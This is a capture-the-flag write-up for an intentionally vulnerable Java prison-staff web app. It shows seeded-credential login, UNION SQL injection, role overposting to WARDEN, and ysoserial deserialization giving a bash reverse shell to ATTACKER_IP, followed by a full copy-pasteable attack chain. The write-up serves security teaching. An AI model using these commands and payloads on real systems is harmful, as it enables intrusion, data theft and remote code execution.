Reconnaissance
First up, downloaded the challenge file and unzipped it:
cd ~/Downloads
unzip ironhold-source-1784211881597.zip
Next, ran Nmap:
nmap -sV -sC -T4 -p- TARGET_IP -oA IronHold__nmap
I like to set Target IPs as environmental variables. Saves a lot of time and energy:
export IP=TARGET_IP
Nmap returned results quite expediently:
What we know so far...
- We have the application's complete source.
- Open Port 8080/TCP runs Apache Tomcat and serves the IronHold staff-login app.
- Open Port 22/TCP runs OpenSSH on Ubuntu
The Java repository files are database-access components. They read like separate repos, but they're not.
The best finds in the bunch:
DataSeeder.java: Seeded accounts, records, and application data.AuthController.java: Login handling.SessionUtil.javaand the interceptors: Authentication and authorization decisions.AdminController.java: Staff records, diagnostics, and control-panel routes.ImportExportController.java: Potentially dangerous file/import functionality.application.properties: Database and application configuration.
Next move: curled the login page and paid 8080 an in-browser visit:
curl -i "http://$IP:8080/"
On the 8080 login screen, hovering over About the system shows:
http://TARGET_IP:8080/about;jsessionid=A4D23F44FA16D11D85DD72ABC192E2DB
Hovering over Service status shows:
http://TARGET_IP:8080/status;jsessionid=A4D23F44FA16D11D85DD72ABC192E2DB
Confirmed a conventional server-rendered Java login:
POST /logintakesusernameandpassword.- Tomcat created an unauthenticated session using
JSESSIONID. ;jsessionid=...hover URLs are Tomcat's URL-rewriting fallback. By themselves, they're no credential IDs./aboutand/statusare handed to us in the hover-links, and become our next targets.
curl -i "http://$IP:8080/about"
curl -i "http://$IP:8080/status"
/about:
/status:
Near the bottom of the /about curl, it reads:
Kiosk terminals in the officers' station retain a shared service login for shift handover; do not use kiosk credentials for personal accounts.
That, my friends, is a cold-hard clue.
We also have /actuator flirting with us at the bottom of /status. Legacy data-migration service is also making eyes at us. Especially since we have ImportExportController.java in the source.
Probed the disclosed diagnostics root:
curl -i "http://$IP:8080/actuator"
Before unpacking that, inspected how authentication works:
sed -n '1,240p' src/main/java/com/ironhold/controller/AuthController.java
/actuator is incredibly overexposed. We have route mappings, environment/configuration metadata, application components, and other internals without authentication. This correctional facility needs some correctional controls in place.
The authentication controller was the obvious next step in the chain:
username → findByUsername() → stored Staff record
password → PasswordEncoder.matches() → stored password
No visible controller-level bypass or raw SQL injection. The credentials are likely hiding in the weeds of seeded data or weakened by the password-encoder config.
Source-checked DataSeeder.java and PasswordConfig.java next. Might turn up plaintext passwords, seeded kiosk or service usernames, that kind of thing.
sed -n '1,360p' src/main/java/com/ironhold/seed/DataSeeder.java
and
sed -n '1,200p' src/main/java/com/ironhold/config/PasswordConfig.java
Aha! Usable officer credentials in DataSeeder.java.
Sorry, Officer Reyes. You just got pwned.
That plaintext is BCrypt-encoded during startup, meaning cracking is unnecessary. The seeder also maps out the first 3 flag objectives, but I won't spoil the fun just yet.
PasswordConfig.java
Ran this to compact the seeder into a digestible evidence block:
rg -n -C 8 'fillerHash' src/main/java/com/ironhold/seed/DataSeeder.java
The rg output and PasswordConfig.java prove the username, known password, and BCrypt processing. j.reyes turned up as an officer, IronholdStaff2026! got encoded once with BCrypt, and that hash got assigned to every listed officer account.
Logged in as Officer Reyes:
We're in. Thanks, Officer!
SQL Injection via UNION
In DataSeeder.java, there's an abhorrent bounty of private inmate information. Not good data to leave unsecured. It's a serious access-control/privacy design problem.
That section of DataSeeder.java pointed to where flag 2 lived: case_files. It also showed the inmate-lookup database account had access to both inmates and case_files.
Reconstructed the SQL query and its column structure for readability:
sed -n '1,300p' src/main/java/com/ironhold/controller/InmateController.java
sed -n '1,240p' src/main/java/com/ironhold/config/DataAccessConfig.java
To funnel down what mattered from InmateController.java and DataAccessConfig.java:
nl -ba src/main/java/com/ironhold/config/DataAccessConfig.java | sed -n '10,52p'
rg -n -C 4 'GRANT SELECT ON case_files|IA-2024-007' src/main/java/com/ironhold/seed/DataSeeder.java
Now the developers' security claim was clear: hardcoded lookup credentials, a connection to the shared H2 database, and use of the reduced-privilege account.
Below: the lookup account had SELECT access to case_files, the hidden IA-2024-007 record, and flag2 sitting in that record's summary.
Score.
Didn't have remote DB access yet. Time to get it:
sed -n '1,300p' src/main/java/com/ironhold/controller/InmateController.java
This showed q went straight into SQL instead of being passed as a parameter. Lots more there. Cleaned up the output:
nl -ba src/main/java/com/ironhold/controller/InmateController.java | sed -n '25,48p'
Also checked the same path in-browser to see how it played out:
UNION adopts the first query's output-column names, meaning the case-file title should appear where the inmate's name normally does.
Or a flag appears. Either way, it works. Very considerate.
Our chain so far:
SQL concatenation > UNION with three compatible columns > excessive SELECT permission on case_files > hidden record disclosed.
Privilege Escalation via Role Overposting
Onwards to the warden-only door-control panel.
Before clicking around, worth understanding how the application enforces the role boundary:
sed -n '1,240p' src/main/java/com/ironhold/security/WardenInterceptor.java
And...
sed -n '1,260p' src/main/java/com/ironhold/config/WebMvcConfig.java
This is starting to look a whole lot like credential disclosure and not like authorization bypass. The app takes the username from the server-side session, reloads that user from the database, checks the stored role with isWarden(), and protects /admin/**.
Three separate hints pointed at a warden-password disclosure. Used curl with jq to test that:
curl -sS "http://$IP:8080/actuator/env/app.warden.password" | jq
Well, this is a helpful negative result.
/actuator/env was publicly reachable. Confirmed the property existed, and where: application.properties. This result even identified 18:21, aka line 18, column 21 inside the packaged config. Spring's sensitive-value sanitization blocked the password from view. Good thing there was a leaked, unredacted source archive sitting right there.
Took a look at it:
nl -ba src/main/resources/application.properties | sed -n '1,80p'
The warden password lived in the runtime variable WARDEN_PASSWORD. Needed a different way to read that runtime value.
Checked whether IncidentController.java could read arbitrary server files.
sed -n '1,300p' src/main/java/com/ironhold/controller/IncidentController.java
Nope. It rejects ...
Tried ProfileController.java.
Aha! There's our priv-esc flaw.
@ModelAttribute Staff accepts a user-supplied role, and the controller saves it without checking authorization. Even if the profile doesn't show a role field, the backend still accepts one.
The warden interceptor reloads our friend Officer Reyes from the database, meaning his role could get changed to WARDEN to elevate the session.
Good job, Jenn.
First, created a second Reyes browser session...
curl -sS -c /tmp/ironhold.cookies -o /dev/null -w '%{http_code}\n' \
-X POST "http://$IP:8080/login" \
--data-urlencode 'username=j.reyes' \
--data-urlencode 'password=IronholdStaff2026!'
...then overposted the hidden role field:
curl -sS -b /tmp/ironhold.cookies -o /dev/null -w '%{http_code}\n' \
-X POST "http://$IP:8080/profile/update" \
-d "fullName=Officer J. Reyes&email=j.reyes@ironhold.example&badgeNumber=O-104&role=WARDEN"
Wanted and got 302 for both.
Refreshed the browser.
Hah! Reyes got pwned, promoted, and still called Officer.
On /admin/control:
Java Deserialization RCE
Only one flag left to find.
Our goal: gain command execution on the server and read the final flag.
sed had been carrying this whole writeup. Used it again to inspect admin functionality:
sed -n '1,360p' src/main/java/com/ironhold/controller/AdminController.java
The controller came back not-injectable. It ran as an OS command:
new ProcessBuilder("df", "-h", "/opt/ironhold")
All arguments were fixed. No user input reached the command. There's only one route left:
sed -n '1,360p' src/main/java/com/ironhold/controller/ImportExportController.java
I think ois.readObject(); is our server entry flaw.
The application deserializes attacker-controlled Java objects. Before the application checks the restored object's type during readObject(), code inside a compatible dependency chain can execute.
Which gadget libraries are available? Let's find out.
sed -n '1,260p' pom.xml
sed -n '1,240p' src/main/java/com/ironhold/model/ImportManifest.java
The commons-collections dependency range says it all. It intentionally allows the vulnerable Commons Collections versions used by Java deserialization gadget chains.
ysoserial is the go-to payload generator for this situation.
Built the reverse shell to cross the finish line:
REV=$(printf '%s' 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1' | base64 -w0)
Base64-wrapped the payload:
java --add-opens=java.base/java.util=ALL-UNNAMED \
-jar ysoserial-all.jar CommonsCollections6 \
"bash -c {echo,$REV}|{base64,-d}|{bash,-i}" | base64 -w0 > ironhold-payload.b64
A quick confirmation...
...and we're good.
In a new terminal, started a listener on 4444:
nc -lvnp 4444
Sent the payload through the pwned, elevated Officer Reyes Warden session:
curl -i -b /tmp/ironhold.cookies -X POST "http://$IP:8080/admin/import" \
-H 'Content-Type: text/plain' --data-binary @ironhold-payload.b64
Drumroll...
Next:
id
ls -la /
Landed as appuser, inside a Docker container. No flag visible at /.
The source pointed straight at /opt/ironhold for the final flag.
ls -la /opt/ironhold
And the source speaks truth:
cat /opt/ironhold/flag.txt
Fin.
Flags:
THM{REDACTED}
THM{REDACTED}
THM{REDACTED}
THM{REDACTED}
No root escalation required. The goal was the facility-server flag, and the compromised application account already had access.
Pwned, promoted, serialized, finished.
Cue the confetti...
Full Attack Chain
# Recon
nmap -sV -sC -T4 -p- TARGET_IP -oA IronHold__nmap
export IP=TARGET_IP
curl -i "http://$IP:8080/"
curl -i "http://$IP:8080/about"
curl -i "http://$IP:8080/status"
curl -i "http://$IP:8080/actuator"
# Source review found seeded officer creds
# j.reyes / IronholdStaff2026!
# Auth as officer
curl -sS -c /tmp/ironhold.cookies -o /dev/null -w '%{http_code}\n' \
-X POST "http://$IP:8080/login" \
--data-urlencode 'username=j.reyes' \
--data-urlencode 'password=IronholdStaff2026!'
# SQLi via UNION on inmate lookup surfaces flag 2 (case_files / IA-2024-007)
# Overpost hidden role field to escalate to WARDEN
curl -sS -b /tmp/ironhold.cookies -o /dev/null -w '%{http_code}\n' \
-X POST "http://$IP:8080/profile/update" \
-d "fullName=Officer J. Reyes&email=j.reyes@ironhold.example&badgeNumber=O-104&role=WARDEN"
# Insecure Java deserialization via ImportExportController (vulnerable Commons Collections)
REV=$(printf '%s' 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1' | base64 -w0)
java --add-opens=java.base/java.util=ALL-UNNAMED -jar ysoserial-all.jar CommonsCollections6 \
"bash -c {echo,$REV}|{base64,-d}|{bash,-i}" | base64 -w0 > ironhold-payload.b64
nc -lvnp 4444
curl -i -b /tmp/ironhold.cookies -X POST "http://$IP:8080/admin/import" \
-H 'Content-Type: text/plain' --data-binary @ironhold-payload.b64
# Shell lands as appuser, final flag at /opt/ironhold/flag.txt
cat /opt/ironhold/flag.txt # flag redacted for publish